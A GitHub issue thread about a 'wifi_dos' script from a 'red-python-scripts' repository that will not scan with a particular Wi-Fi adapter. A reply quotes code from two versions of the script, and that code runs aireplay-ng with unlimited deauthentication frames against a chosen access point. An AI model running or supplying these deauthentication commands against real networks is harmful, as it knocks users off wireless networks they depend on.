red-python-scripts icon indicating copy to clipboard operation
red-python-scripts copied to clipboard

Script no scanning

Open Rafalbala opened this issue 3 years ago • 3 comments

I have Alfa AWUS036ACH-C however, it does not scan the network

2022-03-04_16h01_27

Rafalbala avatar Mar 04 '22 15:03 Rafalbala

Which version of the wifi_dos script are you using ?

This problem occurs only with the version 1 and version 2, use version 3 instead.

I think the main difference is in the way subprocess are handled.

for exemple ;

version 2 (line 196-199) :

# Deauthenticate clients using a subprocess. 
# The script is the parent process and creates a child process which runs the system command, 
# and will only continue once the child process has completed.
try:
    subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic])
except KeyboardInterrupt:
    print("Done!")

version 3 (line 183-184) :

# Deauthenticate clients. We run it with Popen and we send the output to subprocess.DEVNULL and the errors to subprocess.DEVNULL. We will thus run deauthenticate in the background.
subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 

Retr0Kr0dy avatar Apr 11 '22 09:04 Retr0Kr0dy

Thanks for the info! This was very helpful. :)

stickyfingers82 avatar Oct 01 '22 21:10 stickyfingers82